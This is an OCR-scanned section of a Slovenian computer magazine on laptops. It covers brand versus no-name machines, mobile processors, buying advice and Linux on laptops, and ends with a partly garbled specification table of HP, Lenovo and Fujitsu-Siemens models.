isti osnovi izdelati kopico prenosnikov, ki se
bodo razlikovali po zmogljivosti in moZnostih,
na zunaj pa bodo enaki. Ponudniki tak$nih
»praznih« prenosnikov so lahko podjetja s svo-
jo blagovno znamko ali brez.

Vse vdelane komponente so lahko boljse ali
slabge, toda tudi Western Digital je »brand«
ime, pa ATI s svojimi graficnimi karticami,
pa Samsung z opti¢nimi enotami seveda tudi.
Nastevali bi lahko Se dolgo. Zdaj pa poglej-
mo tako sestavljen ratunalnik. Vsebuje lahko
enako osnovo, kot kateri koli prenosnik z uve-
ljavljenim imenom. Vdelane komponente so
vse znanih proizvajalcev, saj drugih %e skoraj
ni ved. Toda prodaja se pod imenom TroNote.
Ali je zato slabsi od prenosnika Toshiba? Tezko.
Lahko je slabsi, lahko je celo boljgi ob upos-
tevanju razmerja med ceno in ponujenim. Gre
za to, ali zaupamo podjetju, kot je Comtron.
Comtron je le dober primer in ne namerno iz-
postavljeno podjetje.

NI RAZLOGA ZA NEZAUPANJE

Ali jim zaupamo? Ni razloga, da jim ne bi.
Vsaj pametnega ne. Poslujejo Ze dolgo in za svo-
je izdelke ponujajo $e dalj$o garancijsko dobo
kot velika imena med proizvajalci prenosnikov.
Torej sami zaupajo svojim izdelkom, sicer se jim
poteza ne bi splacala. Vsaj dolgoro¢no ne. Ni&

PROT

»BRAND NAME-
| »NO NAME-

Pri vseh elektronskih in drugih napravanh,
pri prenosnikih pa toliko bolj, poslusamo
0 prednostih prenosnika z »imenom ali
brez. Razlika je v tem, ali je prenosnik
izdelalo in ga ponuja podijetje, kot so IBM,
Dell, Toshiba, HP, ali denimo Comtron
oziroma katero od »garaznih« podjetij.

pa ne ka¥e, da bi se pribliZevali propadu. Torej
v resnici ni razloga za nezaupanje in gre bolj za
predsodek kot kaj drugega. Tudi TroNote je Ze
na neki nacin blagovna znamka ime. Vsaj pri
nas. Tudi za Dell ni nih&e slisal, ko so se po-
javili na trgu, pa jih zdaj cenimo in poznamo
po vsem svetu.

Morda doma&a podjetja celo nekoliko bolje
razumejo in vedo, kaksne prenosnike potrebu-
jejo nasi uporabniki. Ne bom trdil, da je to ne-
kaksna univerzalna resnica, lahko pa je. Seveda
je odvisno do spretnosti podjetja, kako in kaks-
ne prenosnike bo sestavilo. Glede kakovosti in
cene, seveda. Zatakne pa se pri trzenju. Ce jim
ne zaupamo, ne zado$¢ajo vse njihovo znanje
in dobri nameni. Prav je, da smo previdni. Cas
vedno pokaZe, kako se zadeve obnesejo. Tudi
pri nas se je to %e pokazalo.

Spomnimo se pojava imena Gericom. Na
drugi strani meje so z vso ihto kupovali njiho-
ve prenosnike %e pred recimo dvema ali tremi
leti. Pri nas pa se niso prodajali prav na veliko.
Razlika je bila bolj v filozofiji. Bili smo zadaj
za severnimi sosedi. Pri njih so te prenosnike
kupovali $tudentje in drugi uporabniki. Ti ni-
majo veliko denarja in pa¢ kupijo, kar je naj-
cenejle. Pri nas so takrat prenosniki spadali v
domeno premo?nih in vodilnih mo? v podjet-
jih. Kot smo %e ugotovili, imajo ti ve¢ denarja,
pa Se podjetje jim je mnogokrat kupovalo te
naprave. Saj potreba po poceni prenosnikih je
bila, samo trgovci $e niso prav zavohali trine
niSe. Pa ne samo oni. Niso vedno vsega krivi
trgovci. Morda smo k razSirjanju »neznanih«
znamk pripomogli tudi mi s testi, ki so pokazali,
da taksni prenosniki niso ¢isto zani€, temved
se med njimi najdejo sijajni modeli. In danes
je Gericom seveda postal ime, znano blagovno
ime, torej brand.

Dejstvo je, da se tudi uveljavljene znamke
med seboj razlikujejo. Tudi &e se ne, pa bo vedno
dovolj uporabnikov, ki bodo trdili, da samo ta ali
drugi proizvajalec ponuja dobre prenosnike.

Pred precej &asa smo v nasi reviji opravili
supertest prenosnikov. Takole Sest mesecev
smo jih preizkugali in uporabljali vsak dan za
vsa primerna opravila. Seveda sem tudi sam do-
bil v test prenosni ratunalnik (no, nekaj racu-
nalnikov). In to ravno enega od manj znanih.
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PODROBNEJE O ....
znane in neznane znamke

Prva reakcija je bila nevos¢ljivost kolegom, ki
so pobrali zvene&a imena. Na koncu pa sem
imel najlaZje delo. Hitro sem namre& ugotovil,
kako malo je potrebno, da je prenosnik kori-
sten in dovolj dober za vsakodnevno delo. Tudi
na pomanjkljivosti se navadimo in na koncu
niso tako neznosne, kot se lahko zdi na prvi
pogled. In ko potegnemo &rto, se je prenosnik
»brez imena« celo izkazal kot zelo dober. Se
vedji je bil razkorak med ponujenim in ceno
neznanega in znanega proizvajalca. Takrat je
bila razlika v ceni dobrih sto tiso¢akov za pri-
merljiv model, kar ni mag&ji kaSelj. Danes so te
razlike manjSe, saj so tudi razlike v kakovosti
med znanimi in neznanimi prenosniki v vecini
primerov manjse.

IBM ALI LENOVO?

Drug zgled je lahko IBM-ov prenosnik Think
Pad. To je znano in cenjeno ime med prenos-
niki. Kaj pa Lenovo! Nikoli slifali? Morda pa
le, saj imajo prenosniki Lenovo enake oznake
kot ThinkPadi podjetja IBM. Hja, podjetje se
je odlotilo prodati proizvodnjo in tako zdaj na
Kitajskem sestavljajo prenosnike Lenovo. Ali
bomo temu novemu imenu zaupali? Zakaj ne in
zakaj da? Ce za vsem stoji $e vedno enaka pa-
met kot za Think Padi ali vsaj enako vodilo in
kakovost, potem da. Ampak saj ne vemo, kaj se
bo zgodilo. Lahko da bodo prenosniki Lenovo
popoln »kakec«. Ali pa tudi ne. Ali pa&. Kdo bi
vedel vnaprej. Bomo videli.

V nebo povzdigovanje znanih proizvajal-
cev in zanievanje neznanih je vsaj po mojem
skromnem mnenju nesmiselno, saj lahko ne-
znan proizvajalec e ez no¢ postane sila znan
in cenjen. Obratno je sicer manj verjetno,
ampak kaj pa vemo kaksna bo politika podjetij
jutri. Torej tudi Brand kot tak pocasi in zanes-
ljivo izgublja pomen.

&

LUKVEL

prenosni racunalniki: procesorji

PROGESORJI

V PRENOSNEM SVETU

V preteklih letin smo v svetu prenosnikov videli najrazliCnejSe procesorje, ki so se
med seboj razlikovali po hitrosti, podprtem naboru ukazov, koliCini predpomnilnika,
nacinu delovanja ali celo po arhitekturi. Veliko je bilo nazivov in imen ter marketinskih
pranj mozganov uporabnikov, a dejstvo ostaja: »konec dneva« nas zanimajo

energijska poraba ter zmogljivosti.

Pise: Jaka Mele
jaka.mele@mojmikro.si

agotovo najvedji hit zadnjih dveh let je
Intelova mobilna tehnologija Centrino,
ki jo mnogi napa¢no povezujejo s proce-
sorjem za prenosne ratunalnike. Centrino
kot tehnologija oz. platforma oznaluje skupek
treh stvari: procesorja (Pentium M), veznega
nabora (Intel 855 ali novejsi, kot je 915 Ex-
press) ter integriranega brez¥i¢nega omre¥nega
vmesnika (802.11b/g, zdaj tudi 802.11a/b/g).
Centrino je postal prodajni hit predvsem zaradi
vdelanega brezZi¢nega omre¥nega vmesnika, kar
je zaradi ekonomije obsega prineslo mnoZ%i¢ne
pocenitve in posredno mno%i¢nej$o dostopnost.
Procesor, ki je trenutno v objemu Centrina
najaktualne;jsi, je vsekakor Intel Pentium M.
Prva generacija tega ¢ipa se je imenovala Bani-
as, trenutna je Dothan, zgodaj 2006 pri¢akuje-
mo Yonaha. Spremembe prinagajo proizvodnjo
v finejSem proizvodnem procesu, kar omogoca
zvianje takta delovanja procesorja in ve¢ vde-
lanega predpomnilnika in tehnologij, kar vse
vpliva na zmogljivost in energijsko porabo.
A vrnimo se na zaetek. Danes je moc na trgu
najti prenosnike s procesorji podjetij AMD, In-

Hitachi CP-X

tel, Transmeta in VIA. Drugih v svetu x86 nade-
loma ni (Apple sodi v poseben razred). Intelov
tr¥ni dele? je daled najvedji, od preostalih treh
pa Se najbolje kafe AMD-ju.

INTEL

Stare;jsi procesorji, ki se pocasi %e poslavljajo
od trga, so vsekakor namizni procesorji Intel
Pentium 4, ki so jih nekateri proizvajalci pre-
nosnikov vdelovali v ve&je zelo zmogljive pre-
nosnike. Procesor zahteva precej energije in se
tudi segreva, zato avtonomija z njim ni vredna
hvalisanja.

Za cenovno najni¥ji razred ponuja Intel pro-
cesorje Celeron M, ki so posebna razli¢ica na-
miznih procesorjev Celeron z dodanimi teh-
nologijami za var¢no delo z energijo, ki je bila
sposojena kar iz Pentiuma M. Od tega se Ce-
leron M razlikuje po manjsi koli¢ini vdelanega
predpomnilnika — le 1 MB namesto 2 MB.

Najzmogljivejsi ter avtonomno najboljsi raz-
red pa naslavljajo z Y¢ omenjenim Pentiumom
M, ki je na voljo tudi v nizkonapetostni in ultra-
nizkonapetostni razlicici ULW (ultra low volta-
ge). Tega so na osnovi arhitekture Pentium II1
zasnovali v Intelovem izraelskem laboratoriju.

Seveda najdemo poleg posameznih procesor-

Eupan za 6% popust
E0 nakup sirognéga
nosilca Aero Light
ali projekiorja za
domad kino

Urednd zestopnik 2o multimedijske projektose Sanyo bn Hitachl Digital Media Group. Za Inlormacije o prodadl in najemu Senyo In Hitachd
opreme pokiriite 01 542 10 37, Ved o nadl ponudbl preberite ne www lukval.gl. Lukvel d.0.0., Smartinaka cests 130, 1000 Ljubljana
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skih druZin $e vrsto modelov, ki se v glavnem lo-
&ijo glede vsebovanega hitrega predpomnilnika
in delovne hitrosti jedra, nekateri pa tudi glede
vmesnika priklopa na mati¢no plos¢o.

TRANSMETA

Transmeta je bila velik up, saj je revolucioni-
rala pametne procesorje, ki jim je pri izvajanju
pomagala programska oprema. Rezultat je bila
velika varénost, vendar pa so bili ob konkurenci
procesorji glede na dano zmogljivost predragi.
Najpogostej§i Transmetin procesor je Crusoe,
ki ga lani zamenjal zmogljivejsi Efficeon. Razen
uporabnikom, ki jim je najva’nej$a dolga avto-
nomija delovanja na akumulatorjih, Transme-
tinih procesorjev ne bi priporo¢ali za obi¢ajno
uporabo — so prepocasni oziroma predragi

VIA

VIA je bolj kot proizvajalec hitrih procesor-
jev znana po izdelavi majhnih platform ter ener-
gijsko u¢inkovitem procesiranju. Aktualni pro-
cesor, ki ga obtasno najdemo tudi v prenosnikih
na slovenskem trgu, je VIA C3. Zal je procesor
glede na Intel in AMD tehnolosko vsaj genera-
cijo ali dve zadaj, zato tudi ne ponuja pri¢akova-
ne zmogljivosti. Po drugi strani pa se prenosni-
kih s tem procesorjem najpogosteje zadrzujejo v
cenovno najnizjem razredu in jih najdemo tudi
%e za dobrih 100 tiso¢akov.

AMD

AMD priznava, da se do letos ni posebej po-
svecal mobilnemu trgu, kar se tudi pozna. Do-
sedanja AMD-jeva ponudba v tem segmentu je
obsegala Athlon 64 Mobile in Sempron Mobile
(naslednih Durona), nekateri proizvajalci pre-
nosnikov pa so tako kot pri Intelu za vedje na-
mizne nadomestke posegali kar po polnokrvnih
namiznih Athlonih.... AMD je pozno spomladi
letos predstavil Turion 64, ki je pravzaprav At-
hlon 64 z vdelanimi tehnologijami varevanja
z energijo in zmanjSanim predpomnilnikom in
hitrostjo delovanja. Turion naj bi se postavil
ob bok Intelovemu Pentiumu M. Zal so prvi
rezultati precej meSani — v ni¢emer pa izrazito
ne prekaga Pentiuma M. Vsekakor je Turion 64
pomemben, saj je prav na raun tega procesorja
AMD ponovno obnovil sodelovanje z vecino
proizvajalcev prenosnikov in si tako odprl vrata
za naslednji korak.

PRIHODNOST

Tako Intel kot AMD sta za konec tega leta Ze
napovedala dvojedrne mobilne procesorje, vsi
pa bodo imeli podporo 64-bitnemu procesira-
nju. Po neuradnih napovedih naj bi AMD no-
vinca predstavil hitreje, a kaj, ko sta pomembni
tudi dobavljivost in predvsem cena. In prav pri
ceni bo imel Intel, ki s koncem leta v proizvod-
nji prehaja na 65-nanometrski proces izdelave,
s Cimer ob&utno ni%a stroske, verjetno veliko
ve¢ manevrskega prostora, kar je lahko v rokah
enega najvedjih marketingkih strojev v panogi
(ok, pustimo Microsoft ob strani) za konkurenco
smrtno nevarno.

|

PODROBNEJE O ...
prenosni racunalniki: nakup

PREMISLEK PRED NAKUPOM

VCasih se je splacalo kupiti prenosni racunalnik le tistim, ki redno potovali in morali
na potovanju Se kaj postoriti. Za prenosnost racunalnika so morali Zrtvovati katero od
moznosti ali funkcij. Danes ni vec tako. Prenosniki imajo prav vse, kar imajo veliki in
vCasih Se kaj vec, le ne tako zmogljivo. Ker je prenosnikov veliko in sila razlicni so, je
odloCitev 0 nakupu lahko tezavna. Da vam olajsamo razmislek, Se nekaj napotkov, na

kaj je treba biti pozoren.

PiSe: Zdenko Frangez
zdenko.frangez@mojmikro.si

ot pri vsakem raunalniku je treba naj-
prej premisliti, kaj sploh Zelimo in kaj
potrebujemo. Globina ¥epa pa bo odlo-
¢ila, ali so Zelje uresnicljive.

PROCESOR IN POMNILNIK

Nekako velja, da so procesorji za namizne
racunalnike zmogljive;jsi od primerljivih, izdela-
nih za prenosnike. Modra bo kdo trdil drugace,
a tako kaZejo Stevilke. V prispevku o procesorjih
je razlo¥eno, za kaj je kateri primeren. Torej na
kratko. Ce %elite hiter prenosnik, ki bo nadome-
stil namizni racunalnik, je primeren tudi pro-
cesor za namiznik. Ce elite vet avtonomije, pa
procesor za prenosnik in to je zadnji ¢as Centri-
no. Vsi procesorji, ki imajo manjo zmogljivost,
recimo Celeron, so primerni za vecino opravil,
zatakne pa se pri zahtevnih izratunih. Navadno
se to najbolj opazi pri kodiranju video posnet-
kov in podobnih opravilih.

Pregrevanje procesorjev je lahko tudi zelo na-
dle?no, posebej v prenosniku. Na sre¢o lahko to
preverite ¥e v trgovini. Zahtevajte predstavitev
obremenjenega prenosnika. Ce se po dologenem
Casu pregreva, je tudi pomembno, kje so vroce
tocke. In &e so tam, kjer so navadno vase dla-
ni vas bo to hudo motilo. Hkrati tako preverite
tudi glasnost naprave.

Pomnilnika ni nikoli dovolj. Saj vas bodo ho-
teli prepri¢ati, da je za prenosnik dovolj 256 MB
pomnilnika. Prenosnik pa ima naloZen operacijski
sistem Windows XP, kot je v vaSem namiznem ra-
Cunalniku, in ni razloga, da boi v manj$em ohisju
zahteval manj pomnilnika. Nekako velja, da je
morda udobno uporabljati prenosnik s 512 MB

pomnilnika, zahtevni uporabniki pa potrebujejo
1 GB. Saj zadeva deluje tudi z manj pomnilnika.
Seveda bo vet v uporabi trdi disk in ta je v pre-
nosnikih sila po¢asen za sedanje Case. Tako pa& ne
boste izkoristili polne zmogljivosti prenosnika.

ZASLON

Pri zaslonu je treba izbirati med lo¢ljivostjo,
velikostjo in obliko oziroma razmerjem. Seveda
velja, da je bolje, ¢e je lo¢ljivost ve&ja. Tezava
pa se pojavi, ko se nam zdijo ¢rke premajhne
za branje v tako visoki lo¢ljivosti. LCD-zasloni
namre¢ ne izrisujejo niti priblizno lepo nicesar,
kar je izrisano pod optimalno lo¢ljivostjo, ki je
hkrati tudi najvisja za zaslon. Torej le preverite,
ali z lahkoto berete vse, kar je na zaslonu.

Velikost zaslona je odvisna od tega, kar boste
po&eli. Ce imate navado ali potrebo po zaslonu
posejati ve¢ aktivnih oken ali delate s pregledni-
cami, potem je velik zaslon seveda prednost.

Oblika zaslona pa je zgodba zase. Klasi¢no raz-
merje 4 : 3 je v navadi %e iz &asov CRT-monitorjev.
Tega smo se privadili in la%je delimo zaslon z okni
po visini kot $irini. Pri zaslonu z razmerjem 19 : 10
jie to tezko ali nemogote. Siroki zasloni so pripravni
za ogled filmov, za delo pa manj. Diagonala zaslona
15 palcev pri razmerju 4 : 3 pomeni isto nekaj dru-
gega kot pri 16 : 10. Z isto diagonalo bo irok zaslon
§irsi., a bo tudi ni%ji. In potem deljenje zaslona po
visini vsaj za resno delo odpade.

PRIKLJUGKI

Zadnje Case imajo prenosniki navadno ved
prikljuckov, kot jih v resnici potrebujete. Kljub
vsemu pa se le pozanimajte, kaj premore model,
za katerim pogledujete, in premislite, ali vam to
zados¢a. NajlaZje je presteti USB-prikljucke.
Obtasno boste uporabljali tudi USB-misko, pa
pomnilniski USB-klju¢ek, morda Se USB-ti-
skalnik, in ¢e ima prenosnik le dva ustrezna pri-
kljucka boste morali razmisliti o USB-zvezdiscu,
ki je sicer poceni in majhno, a ga je kljub vsemu
nadle?no prenasati naokoli. Tudi razmestitev
priklju¢kov mora biti smiselna in omogocati
mora lahko uporabo.

TRDI DISK

Za prenosnik je dovolj %e skromen 40 GB
velik trdi disk. Ce nameravati naokoli prenagati
kopico datotek, zlasti ¢e bodo to filmi, pa je to
hitro premalo. Torej le premislite, ali boste imeli
na trdem disku red ali bi raje ve&ji trdi disk, ki
bo omogotal nekaj ve& svobode.
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PODROBNEJE O ....
prenosni racunalniki: nakup

BATERIJA

Vsekakor je to eden pomembnejsih delov pre-
nosnika. Ve&ini uporabnikov je sicer dovolj avto-
nomija nekako do dve uri. Tudi pri prenosnikih
s Centrinom je to pogost pojav. Ker pa¢ vdela-
jo manjso baterijo, ki je la%ja in cenejsa, in ker
vecina uporabnikov ve¢ ne potrebuje. Kdor po-
trebuje ve&, bo kupil dodatno ali ve&jo baterijo,
ki pa ni poceni. Ce potrebujete ve& avtonomije,
se odlotite za prenosnik, ki ¥e v osnovi omogoca
§tiri in do pet ur delovanja na baterijo.

OPERACIJSKI SISTEM

Navadno je ta Ze nalofen, razen pri najce-
nejsih prenosnikih, ki so poceni ravno na ra-
¢un tega. V&asih je kateri od draZjih modelov v
resnici cenejsi, saj ima operacijski sistem Ze na-
lo%en, morda pa je nalofena $e kak$na dodatna
programska oprema, ki mu vrednost Se poveta.
Seveda je treba tudi razmisliti, ali potrebujete
operacijski sistem Windows XP Home Edition
ali mora biti razli¢ica Professional.

OPTICNE ENOTE

Zadnje Case je razlika v ceni CD- in DVD-
zapisovalnikov majhna. DVD-mediji so zadnje
Case celo cenejsi od CD-medijev. Torej se odlo-
Cite raje za DVD-zapisovalnik, saj ponuja veli-
ko ve¢ za razmeroma majhno razliko v ceni.

TIPKOVNICA

Najpomembne;si kos dodatne opreme je vseka-
kor tipkovnica, saj ste prek nje najvec ¢asa v stiku's
prenosnikom. Kakovostna naj bo in vam naj ustre-
za. Seveda je tudi razlika, ali pri delu vec piSete ali
pocnete druge stvari. Pisci ¢lankov $e kako pozna-
mo pomembnost dobre tipkovnice, saj je v resnici
nade orodje. Racunalnik je le sredstvo, ki ponuja
druge »usluge«, povezane s tipkovnico.

GARANCIJA

Garancijska doba prenosnikov je lahko eno,
dve ali tri leta. Pa¢ odvisno od proizvajalca. Po-
membno je tudi prebrati garancijske pogoje, saj
nekateri navajajo taks$ne, po katerih boste le
sterka kaj reklamirali. Ce kupujete prenosnik za
dalj ¢asa, pa se splaca doplacati nekaj tiso¢akov
za podaljSano garancijo, ki jo ponujajo nekateri
trgovci oziroma proizvajalci.

PRENOSNI ALI VENDARLE NAMIZNI?

Pomemben razmislek zadnji ¢as je tudi, ali na-
mizni ralunalnik nadomestiti s prenosnim. Ce
imate malo prostora in Zelite vsaj ob¢asno prenasati
racunalnik naokoli, je to smiselno. Drugace pa ne.
Za isto ceno je mogoce kupiti zmogljivejsi namiz-
ni ratunalnik, ki ga boste lahko tudi nadgrajevali,
vsaj nekaj Casa, e boste Zeleli, seveda. Pri prenos-
nikih se ta zgodba ve¢inoma konca %e ob nakupu.
Nadgradite lahko le nekatere komponente in $e to
z zelo omejeno izbiro. Kar boste kupili, boste imeli
kar nekaj ¢asa, saj povprecen uporabnik ne prodaja
raunalnika ravno vsako leto. Pa Se splaca se ne
ravno, saj prenosnikom hitro padajo cene.

Tehten razmislek bo gotovo poveal mo#no-
sti, da boste z izbrano napravo zadovoljni. In to
je najpomembnejse. M
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prenosni racunalniki in Linux

LINUX KOT PRENOSNA

ALTERNATIVA

Marsikdo je ze ugotovil, da je moC ceno prenosnika znizati za okoli 30 tisocakov,
Ce namesto licencnega operacijskega sistema Windows izbere katero izmed razliCic

GNU/Linuxa.

PiSe: Jaka Mele
jaka.mele@mojmikro.si

eveda pa cena Se zdale& ni poglavitni raz-
log, zakaj se mnogi poznavalci odlo¢ajo
za Linux tudi v prenosniku — bistvenej-
§i sta stabilnost in varnost sistema, pa
tudi odpornost na viruse je prijetna lastnost.
Med naprednimi uporabniki Linux v pre-
nosnem raunalniku Ze leta ni ve¢ nikakr$en
tabu. Vendar sta bila do nedavnega namestitev
in uporaba sistema pretrd oreh za zaletnika,
celo mnogim povpre¢nim in naprednej$im
uporabnikom se je zatikalo. Nato so se v bit-
ki za namizje razvijalci Linuxa okoli lanskega
leta kon&no zavedli, da Linux na namizje ne
more priti drugace kot prek prenosnikov! O
tem pri¢ata tudi manjsa rast prodaje namiznih
ralunalnikov ter divja rast prenosnikov. Kako
torej do svojega prenosnega Linuxa?

PREDNAMESCEN SISTEM

Zagotovo je najenostavnejSa pot do pre-
nosnika z operacijskim sistemom Linux nakup
enote s prednames$éenim sistemom. Zal nam
mi uspelo najti podatka, ali tak sistem ponu-
ja oz. prodaja kdorkoli v Sloveniji. Najveg,
kar smo dosegli, je pripravljenost prodajalca,
da nam proda prenosnik brez operacijskega
sistema Windows. V tujini je poloZaj popol-
noma drugaden, saj so prodajalci zaeli Linux
prednames¢ati v racunalnike predvsem zaradi
takoj¥njega zni%anja stroskov in s tem ugod-
nejsih cen na prodajnih policah. Amerigki su-
pertrgovec Wal-Mart je tako konec preteklega
leta pri¢el prodajati prenosne ratunalnike s
prednames¢enim Linuxom za ceno 498 USD
(okoli 100 tiso& tolarjev). Ze pred tem so ne-
kateri proizvajalci, med katerimi zagotovo iz-
stopa Dell, ponujali prenosnike z Y¢ nalo¥enim
sistemom Linux (RedHat) ...

ZAKAJ LINUX?

Ce %e imamo prenosnik in Zelimo vanj na-
mestiti Linux, je smiselno vprasanje, kaj s tem
sploh pridobimo. Poleg %e omenjene varnosti,
tako omre#ne kot tudi sistemske (popravki,
luknje), je Linux veliko varnejsi tudi glede
virusov. Tako bo delo z internetom (e-posta,
spletno brskanje) tudi po straneh in vsebinah,
ki so za uporabnika Windows smrtonosni, na
Linuxu povsem nenevarno. Odvisno od distri-
bucije Linuxa in oblike namestitve zmoremo
(kar je zanimivo predvsem za starejSe prenos-
nike) dose&i tudi odzivnejse in hitrejse delo-

vanje, Se zlasti $e gre za osnovno oz. pisarnisko
rabo.

ZAKAJ NE?

Ce bi bilo vse lepo in roznato, bi Linux zago-
tovo tudi v prenosnikih %e uporabljali vsi. Ven-
dar pa Linux $e vedno prinaSa vrsto vprasanj
(kako namestiti to in ono, kako je s karticami
PCMCIA, kaj storiti, e to in to ne deluje ...),
na katera mora uporabnik iskati odgovore, kar
utegne pomeniti pogosto ¢asovno potratno
iskanje prek Googla ali brskanje po uporab-
niskih forumih, specializiranih za to ali ono
podporo ... To bo odvrnilo vedino povpre¢nih
uporabnikov. Dodatno slabost so zakrivili sami
proizvajalci strojne opreme, saj za prenekatere
dele in funkcije ni gonilnikov zunaj sistema
Windows, kar pomeni, da v Linuxu dolo&enih
funkcij pa¢ ni. Tu imamo v mislih napredne
funkcije, kot so recimo aktivna zaitita diska
(IBM), obracanje zaslona (tabli¢ni prenos-
niki), dolo¢ena stanja varcevanja z energijo
ACP], zelo pomanjkljiva programska podpora
za dodatke (bralniki prstnih odtisov, zagon z

USB-diskov, brezzi¢ne kartice PCMCIA ...)
KAKO ZAGETI?

Ce ste trdno odlogeni, da je Linux prava
stvar za vas in $e nimate prenosnika, bodite pri
nakupu izbiréni in pazljivi. Marsikateri nepo-
udeni prodajalec bo namre¢ zagotavljal, da je
vsa strojna oprema prenosnika zdruzljiva z Li-
nuxom, kar pa se pozneje pogosto izkaZe za ne-
resni¢no. Zato bi bolj kot nakup brezimenskih
doma sestavljenih prenosnikov svetovali na-
kup izbranega imenskega modela z zagotovlje-
nim delovanjem v Linuxu (HP, IBM/Lenovo,
DELL, Toshiba) ... Piko na i doda $e tehni¢na
podpora proizvajalca, ki vklju¢uje tudi vaso di-
stribucijo Linuxa.

Sicer pa pred nakupom velja prenosnik pre-
veriti (procesor, grafi¢ni procesor, vezni na-
bor, brezZi¢ni vmesnik) s seznamom v Linuxu
podprte strojne opreme. Tako imajo brezZi¢ni
omre?ni adapterji Centrino $e vedno te¥ave s
podprtostjo v Linuxu, pa tudi grafi¢ni proizva-
jalec ATI e ni dosegel tako kakovostnega go-
nilnika, kot ga ponuja Nvidia. Vdelani modem
je v vedini primerov t. i. programski modem,
ki deluje le v okolju Windows, zato je reitev
tu nakup modema PCMCIA, ki ima praviloma
polne gonilnike za vse sisteme. Celoten sez-
nam vzdrZujejo na spletni strani Linux on the
Road, na naslovu www.tldp.org/LDP/Mobile-
Guide/html/index.html.

|
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HP NX6110  |Avtera, |www.hp.com |205.900 Intel Celeron-M | 15,1” XGA | 265 MB |40 GB 5400 |DVD +/-RW |Intel Media modem 56K, LAN 10/100, Firewire, 303 x 326 | ni podatka
PY382  |doo. 3701,5GHz {1024 x 768 | DDR 333 |rpm Graphics WLAN 802.11 b/g, Bluetooth, 2x USB |x 267 mm,
Accelerator 900 | 2.0, VGA, 2x avdio, PCMCIA, IrDa 2,75kg
do 128 MB
HP NX6125 |Avtera, |www.hp.com |198.990 Mobile AMD  |15” XGA | 265MB |60 GB 4200 |DVD +/-RW |ATI Mobility modem 56K, LAN 10/100, Firewire, |{310x 328 |0S FREE
PY557 d.0.0. Sempron 1024 x 768 |DDR 333 |rpm Radeon X300 |WLAN 802.11 b/g, 3x USB 2.0, VGA, |x 267 mm, |DOS
3100+ do 128 MB 2x avdio, PCMCIA, 6 v 1 Eutalec 2,72 kg
kartic, Citalec prstnih odtisov, IrDa
HP NC6110  |Avtera, |www.hp.com |289.998 Intel Pentium M| 15" XGA ~ |512 MB |60 GB 5400 | DVD +/-RW |Graphics Media [modem 56K, LAN 10/100, Firewire, |328,6 x 267 | Windows
PY501 d.0.0. 740 1,73 GHz |1024 x 768 |DDR 333 |rpm Accelerator 900 | Blugtooth, 2x USB 2.0, VGA, 2x avdio, |x 30,3 mm, |XP PRO
PCMCIA, IrDa 2,7 kg slov.
HP NX6110  |Avtera, |www.hp.com |281.880 Intel Pentium M| 15" XGA ~ |512MB |60 GB 4200 [DVD +/-RW | Graphics Media |modem 56K, LAN 10/100, Firewire, |328,6 x 267 | Windows
PY535  |d.o.o. 740 1,73 GHz |1024 x 768 |DDR 333 |rpm Accelerator 900 | WLAN 802.11 b/g, 2x USB 2.0, VGA, |x 30,3 mm, |XP PRO
2x avdio, PCMCIA, IrDa 2,7kg angl.
HP NX6125 |Avtera, |www.hp.com |264.990 AMD mobile 15" XGA  |512MB |60 GB Smart|DVD +/-RW |ATI Mobility | modem 56K, LAN 10/100, Firewire, |31x328  |Windows
PY418 d.0.0. Turion 64 ML- 11024 x 768 |DDR 333 |ATA Radeon X300  |WLAN 802.11 b/g, Bluetooth, 3x x 267 mm, |XPPRO
28 1,6 GHz do 128 MB USB 2.0, VGA, 2x avdio, PCMCIA, 2,7kg angl., SLO
6 v 1 Cutalec kartic, Citalec prstnih Language
odtisov, IrDa pack
HP NX6110  |Avtera, |www.hp.com |269.880 Intel Pentium M| 15,1” XGA | 256 MB |60 GB DVD +/-RW | Intel Media modem 56K, LAN 10/100, WLAN 30,3x 326 |Free DOS
PY461 d.0.0. 7301,5GHz {1024 x 768 | DDR 333 Graphics 802.11 b/g, Firewire, Bluetooth, 2x ~ |x 267 mm,
Accelerator 900 |USB 2.0, VGA, 2x avdio, PCMCIA, IrDa | 2,75 kg
do 128 MB
Lenovo | ThinkPad |Asbis, WWW. 229.998 Intel Pentium |15 1024 x |256 MB |40 GB 4200 |CD-RW/DVD-|Intel Extreme  |modem 56K, LAN 10/100, Intel PRO/ |ni podatka, |Windows
(IBM)  |RS0e d.0.0. ibm.com M 1,6 GHz 768 XGA | DDR, 266 |rpm ROM Graphics 2 Wireless 2200BG, 2x USB 2.0, VGA, |3 kg XP PRO
UROBWVK MHz avdio, vzporedni port, IrDa, PCMCIA
Lenovo | ThinkPad |Asbis, WWW. 179.988 Intel Celeron M | 15" 1024 x |256 MB |40 GB 4200 |CD-RW/DVD-| Intel modem 56K, LAN 10/100, WLAN ni podatka, | Windows
(IBM)  |R50e C-M |d.o.0. ibm.com 360 1,40 GHz | 768 XGA | DDR, 266 |rpm ROM Extreme,DVMT |802.11/b/g, 2x USB 2.0, VGA, avdio, |2,8 kg XP PRO
360 MHz IrDa, PCMCIA
Fuiitsu ~ [Amilo PRO |Avtera,  [www. 294.990 Pentium M 740|15,1” 1024 |512 MB |60 GB 5400 [DVD-RW, |Intel g+Graphics|modem 56K, LAN 10/100, WLAN 33x339  |Windows
Siemens | V8010 P-M |d.o.0. fujitsu- 1,73GHz2  |x 768 XGA |[DDR2- |rpm disketnik | Media 802.11 b/g, 4x USB 2.0, VGA, avdio, |x270 mm, |XP PRO
140 siemens.com MB 533 MHz 533 Accelerator 900 | IrDa, PCMCIA, 3 v 1 bralnik kartic, 2,7kg MUl
Centrino do 128 MB S-Video, VGA,
Fujitsu | Amilo Avtera, |www. 269.988 Turion 64 15”1024 x {512 MB |60 GB 5400 | DVD +/-RW, |SISM760 do |modem 56K, LAN 10/100, WLAN 25,3 x 330 x | Windows
Siemens |A-7645 |d.o.0. fujitsu- MT28 1,6 GHz | 768 XGA rpm disketnik | 128 MB 802.11 b/g,Firewire, 3x USB 2.0, VGA, | 272 mm, 2,7 | XP Home,
Turion64 siemens.com avdio, IrDa, PCMCIA, 3 v 1 bralnik 5kg Works 8.0
MT28 kartic, S-Video, VGA
Fujitsu | Amilo Avtera, |www. 254.988 AMD Mobile | 15,4” WXGA | 256 MB |60 GB DVD +/-RW, |ATI Mobility ~ |modem 56K, LAN 10/100, WLAN 359x390 |Windows
Siemens |A-1650G6 |d.0.0. fujitsu- Sempron 1280 x 800 disketnik  |Radeon Xpress |802.11 b/g,Firewire, 4x USB 2.0, VGA, | x 272 mm, | XP Home,
